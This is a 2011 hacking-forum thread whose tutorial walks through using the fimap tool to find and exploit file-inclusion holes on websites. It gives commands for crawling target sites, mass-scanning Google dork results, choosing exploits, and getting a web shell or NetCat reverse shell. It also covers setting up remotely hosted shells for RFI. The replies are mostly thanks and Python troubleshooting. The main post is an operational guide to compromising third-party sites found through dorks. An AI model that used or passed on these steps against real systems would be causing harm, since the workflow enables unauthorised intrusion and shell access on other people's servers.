

Forum:[Hack Forums](#)

Thread: [\[TUT\] AUTOMATED LFI/RFI SCANNING & EXPLOITING WITH FIMAP \[TUT\]](#)

Hooded Robin - August 19, 2011, 1:31 pm

Today I am going to show you how to use a python based tool called FIMAP to perform automated LFI exploitation to gain shell access on our target site. LFI vulnerabilities are a bit like searching for SQL Injection vulnerabilities but more time consuming and these days there are fewer and fewer machines out there that are straight up vulnerable. FIMAP comes to our aid to take care of a lot of the manual effort which helps to speed things up and increase our chances of gaining remote shell access. The time it takes to manually craft the requests to test for LFI vulnerabilities is painstaking and this is why I find this tool to be extremely helpful. It automates the whole process and comes with built in exploits that actually work. It is capable of running single target scans, Google dork scans, and mass scans from a list file. It can also crawl a target site and create a list file which can be used afterwards with the mass scan mode. Here goes...

Pre-requisites: Python installed on system already

Download copy of FIMAP here: [DOWNLOAD](#)

Brain power & patience ?

OK so assuming you already have Python installed you will download the latest version of FIMAP from its Google code home provided above, and extract to you desired location and then we can begin. You will need to open your command prompt and navigate to the extraction point (unless you added things to your global environment PATH). You can type "fimap.py -h" to see a quick overview of what options are available, should look like this:

[img]<http://img217.imageshack.us/img217/5408/22221768.png>[/img]

It looks like a lot at first but once you review it is fairly easy to pick up on the syntax and options, as you will find most of the options and arguments are tied to whichever mode you are using. There are four basic modes: single scan, mass scan, Google scan, and Harvest mode. Single scan performs LFI check and audit against a single url. You just supply the URL to scan and it goes to work.

Code `fimap.py -s -u http://target-site.com/index2.php?x=`

If you are only going to be scanning a single target site then I highly suggest you run a scan using the Harvester mode first to help increase the chances of finding a vulnerable link. You can simply point FIMAP at the root directory of a site in Harvester mode and it will generate an output file for you to feed into the Mass scan. It looks like this:

Code `fimap.py -H -u http://target-site.com/ -w output.txt` NOTE: you can define the crawl depth by adding the "-d <number of pages to crawl>" flag, as the default is set to 1

Code `fimap.py -H -u http://target-site.com/ -d 3 -w output.txt`

Now that we have our output file we can follow things up by switching to the Mass scan mode and audit all of the links we found when we used the Harvester mode. You just point it to the "output.txt" file from above steps and let it do its thing, like so:

Code `fimap.py -m -l /path/to/list/output.txt`

[img]<http://img190.imageshack.us/img190/5231/69082860.png>[/img]

[img]http://img193.imageshack.us/img193/4710/65297278.png[/img]

If you prefer to run some large scans using Google and your favorite Google dorks you can switch modes and use the following syntax:

Code `fimap.py -g -q inurl:index2.php?x=`

[img]http://img202.imageshack.us/img202/1969/64583092.png[/img]

It will run similar to the mass scan mode until it reaches the end of the results...

[img]http://img812.imageshack.us/img812/174/84136487.png[/img]

NOTE: You can further define the Google scan parameters by defining the time in between Google requests using “--googlesleep=<time>” and the pages to read for results from using “-p <page number>”. If you define the number of pages to return you can also add the number of results per page to use using “--results=<10,25,50,100>”, with 100 being the default value. The full syntax would look like this:

Code `fimap.py -g -q inurl:index2.php?x= --googlesleep=5000 -p 15 --results=50`

Now once you have run your scans you will be wondering where the results are stored. You can find them in two files, which you will need to search for on your system: `fimap_results` (xml) and `fimap-log` (txt). These two files contain the stored results from all of your scans. The location depends on what type of system you are using so just use the `run` box or the `locate` command to find them on your system. You can also type “-x” to see a list of possible targets to perform exploitation attempts against in a nice easy to follow interactive session:

Code `fimap.py -x`

[img]http://img717.imageshack.us/img717/5560/10367127.png[/img]

Simply choose the desired target by entering the number provided. Once a target is selected you will have the opportunity of choosing which vulnerable link to try to exploit. It looks like this:

[img]http://img593.imageshack.us/img593/1286/64109387.png[/img]

Once you choose the link to exploit you will have the chance to choose the final payload to use. The default options consist of an integrated shell on the target site or a reverse shell for which you can connect to using NetCat on your local system. The `fimap` shell is not an interactive shell so you will not be able to use services like SSH but you can use it to gain foothold for further escalation and rooting. Choose your payload, connect, and enjoy. Here is end results from successful exploit using the `fimap` shell:

[img]http://img560.imageshack.us/img560/6242/69351331.png[/img]

You can also play with the configuration file so that you can add some additional features. Most notably you can add support to test for RFI vulnerabilities as well. You simply add your hosting details for your shell of choice into the “`config.py`” file, save, and then perform quick test to see if it is working. Here are the lines that need to be edited (in RED); I suggest using the FTP mode if you have the ability to host your shell somewhere:

FTP Mode

`settings["dynamic_rfi"]["ftp"] = {}`

`settings["dynamic_rfi"]["ftp"]["ftp_host"] = None`

`settings["dynamic_rfi"]["ftp"]["ftp_user"] = None`

`settings["dynamic_rfi"]["ftp"]["ftp_pass"] = None`

`settings["dynamic_rfi"]["ftp"]["ftp_path"] = None # A non existing file without suffix. Example:`

`/home/imax/public_html/payload`

`settings["dynamic_rfi"]["ftp"]["http_map"] = None # The mapped HTTP path of the file. Example:`

`http://localhost/~imax/payload`

Local Mode

```
settings["dynamic_rfi"]["local"] = {}  
settings["dynamic_rfi"]["local"]["local_path"] = None # A non existing file on your filesystem without  
prefix which is reachable by http. Example: /var/www/payload  
settings["dynamic_rfi"]["local"]["http_map"] = None # The http url of the file without prefix where  
the file is reachable from the web. Example: http://localhost/payload
```

Here is the command to test your RFI configuration to see if it will work for exploiting vulnerable links:

Code `fimap.py -test-rfi`

This covers the basic usage for FIMAP. This tool is still under development so I encourage you to follow the project for more updates to come. If you want to truly learn how LFI works, then I encourage you to try this out manually after you have found a few with the assistance of the tool. I have also included a modified Perl script below which does some more thorough testing for file presence but is not nearly as full featured, nor is it the quietest tool. Please use responsibly and until next time, Enjoy!

PS - here is a BONUS Perl script I modified to search a little more in depth for the log files, but it is too long to copy and paste here due to limitations:

<http://paste2.org/p/1596568>

I find it helpful when FIMAP finds vulnerability but no files to use...

supra13 - August 19, 2011, 2:07 pm

Thank you for this nice tutorial, I like it because of python I can inspect the code and get more knowledge.

Hooded Robin - August 19, 2011, 8:32 pm

The code is very open to making your own additions in regards to plugins and payloads, just poke around on the homepage and in the config documents for some pointers. Glad you like it!

DataBus - August 20, 2011, 12:39 pm

very detailed tutorial keep it up it was very helpful

Hooded Robin - August 22, 2011, 9:48 am

Iman (the main developer for Fimap) just approved and linked my blog write up to the Fimap home page...just made my day, thought I would share in this thread ?

ioannis66 - August 23, 2011, 2:12 pm

Installed python and put on command prompted:

Code `fimap.py -h`
and it gets me this error

Code line 50
`print "Usage: ./fimap.py [options]"`
SyntaxError: invalid syntax
What am i doing wrong?

Hooded Robin - August 23, 2011, 2:25 pm

are you on Windows or Linux machine and what version of Python did you install? Did you try adding "python" in front of your command "python fimap.py -h"? Also confirm you are at the command prompt in the directory you extracted everything to after downloading. I know these seem like basic things, but they should be double checked as there should not be anything wrong with the code from the download. Give me some more info and I will do what I can to help you figure it out, might try deleting and re-installing if we cant figure it out.

ioannis66 - August 23, 2011, 2:35 pm

(Aug 23, 2011 02:25 PM)Hooded Robin Wrote: [\[CITE\]](#) are you on Windows or Linux machine and what version of Python did you install? Did you try adding "python" in front of your command "python fimap.py -h"? Also confirm you are at the command prompt in the directory you extracted everything to after downloading. I know these seem like basic things, but they should be double checked as there should not be anything wrong with the code from the download. Give me some more info and I will do what I can to help you figure it out, might try deleting and re-installing if we cant figure it out. Thank you very much for your answer.

Python version: python-3.2.1.amd64

Windows version: Ultimate x64

I tried with the "python", double checked the path...

Maybe it works with python v2.7, will try that.

EDIT:

Just checked with python-2.7.2.amd64, and it starts all right.

Also if you check your post, you say fimpay.py -h, its obviously a typo you made there.

Hooded Robin - August 23, 2011, 2:45 pm

I am using W7-Ultimate (x64) with ActivePerl (x64) Python 2.6 (so I can run Immunity Debugger), but 2.7 should work the same. Hopefully that change helps things to get back in working condition, keep me posted via PM to keep this thread clear if you dont mind.

Iron m@n - August 23, 2011, 6:01 pm

Very detailed..Nice tut bro..Keep it up! ?

Hooded Robin - August 24, 2011, 1:17 pm

so glad you like it, please keep the comments coming to help keep this thread alive.

PS - ioannis66 got his problems fixed by switching to an earlier version of Python. 2.6 or 2.7 have been confirmed working, in case this is effecting anyone else

Xpl0ze - August 25, 2011, 4:13 am

looks good, thanks man. Very detailed

alertmotive990 - August 25, 2011, 4:59 am

very detailed tutorial keep it up it was very helpful

noober1001 - August 25, 2011, 5:44 am

Thank you so much for this great tutorial.

Hooded Robin - August 26, 2011, 6:05 am

Thanks guys, please keep the comments coming to keep this alive

DrMonster - August 26, 2011, 7:50 am

Great job sir :)

Big respect to you!

.Satan - December 23, 2011, 6:42 pm

Hey im trying to do the google dork method fimap.py -g -q inurl:index2.php?x= --googlesleep=5000 -p 15 -results=50 but it spits out this

```
C:\Users\S\***\r\Desktop\fimap_alpha_v09>fim
```

```
fimap v.09 (For the Swarm)
```

```
:: Automatic LFI/RFI scanner and exploiter
```

```
:: by Iman Karim (fimap.dev@gmail.com)
```

Target URL required. (-u)

```
C:\Users\S\**\Desktop\fimap_alpha_v09>
```

Hooded Robin - December 23, 2011, 11:13 pm

I actually think your syntax is correct for the most part but the latest code seems to be broken as I just checked and it is not working for me either (Syntax might need quotes around dork and a shift to place the time delay after the -p argument since it is a subset of page argument). You can easily run a large search through Google or any other search engine, make a file and then use the mass list scan feature to process it in list form. I know this is not exactly what you wanted but it only takes a minute or two more (try the URL Harvester script for Firefox or Chrome and then run Google dork search>>Save results to list>>run fimap.py -m -l "path/to/list.txt"). Hope that helps a little.

PS - this used to work, so not sure what happened...

wa7shaimbot - January 24, 2012, 1:39 pm

thanks alot and nice detailed :P

i will try it

Th3PonyWizard - June 1, 2012, 2:26 pm

Bump for more Hooded awesomeness :3

Question - Is the scanner still intact? I have a perfect LFI target and it tells me that it's 'perfectly clean'.

Hooded Robin - June 1, 2012, 10:16 pm

YES, if you grab the latest version from svn it even has some new plugins which aren't included on the main Google code download. Actually was thinking of making a mini tut on some of the new features, as Iman made some nice improvements and added some cool stuff (or is going to add, like i said its in svn). Also, thanks for the :)

Px5 - June 2, 2012, 2:36 am

Nice one HR ;)

Very nice tutorial, keep going.

TickTockMan - June 3, 2012, 6:36 am

Great tutorial. I haven't used this particular tool before, but I am looking forward to giving it a try.

Killur - June 19, 2012, 5:08 am

Hey, if I try to open fimap it says

```
C:\Users\Me\fimap_alpha_v09>fimap.py -h
File "C:\Users\Me\fimap_alpha_v09\fimap.py", line 50
    print "Usage: ./fimap.py [options]"
    ^
SyntaxError: invalid syntax
```

How to fix that?

Greetings!

Hooded Robin - June 19, 2012, 7:17 am

Did you alter the source at all when you downloaded it? It should work out of the box, but of course you can always open the file up look at line 50 and see if there is perhaps an indentation error or something else. If you dont find it correcting itself you might simply try removing and re-installing or trying to work out of the SVN version (which works great and has some added features not fully rolled out in the main download)

Nexusus - June 20, 2013, 1:29 am

tnx m8 Very detailed , very nice tutorial :)

mavenkp - October 16, 2013, 1:24 pm

v good tutorial... excellent FIMAP tool

maca3d - October 16, 2013, 2:22 pm

nice tutorial, i will try to do it, thanks mate!

cbao - October 18, 2013, 12:54 am

Thank you, I really appreciate you sharing this.